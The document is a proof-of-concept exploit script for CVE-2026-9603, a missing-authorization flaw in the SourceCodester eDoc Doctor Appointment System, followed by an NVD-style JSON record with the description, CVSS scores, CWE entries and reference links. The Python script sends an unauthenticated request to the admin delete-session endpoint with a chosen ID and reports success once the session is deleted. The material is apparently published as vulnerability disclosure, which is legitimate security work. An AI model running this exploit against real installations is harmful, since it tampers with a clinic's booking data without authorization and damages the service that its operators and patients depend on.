CVE-2026-9603

import requests def exploit_missing_auth(target_url, session_id): """ PoC for CVE-2026-9603 Missing Authorization """ # The vulnerable endpoint url = f"{target_url}/admin/delete-session.php" # Payload parameters, manipulating the 'ID' argument params = { "ID": session_id } try: # Sending request without authentication headers (PR:N) response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {url}") print(f"[+] Response: {response.text}") print("[+] Potential exploitation successful: Session deleted without authorization.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target id_to_delete = "1" # Replace with valid ID exploit_missing_auth(target, id_to_delete)

{"cve": {"id": "CVE-2026-9603", "sourceIdentifier": "[email protected]", "published": "2026-05-26T22:16:44.467", "lastModified": "2026-05-27T14:50:47.627", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in SourceCodester eDoc Doctor Appointment System 1.0. This affects an unknown part of the file /admin/delete-session.php. The manipulation of the argument ID leads to missing authorization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:P", "baseScore": 6.4, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}, {"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/NARKHEDE-VAIBHAV/poc/blob/main/CVE-2026-9603-Missing-Authorization/Advisory.md", "source": "[email protected]"}, {"url": "https://github.com/NARKHEDE-VAIBHAV/poc/blob/main/CVE-2026-9603-Missing-Authorization/poc.sh", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/817935", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365676", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365676/cti", "source": "[email protected]"}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]"}]}}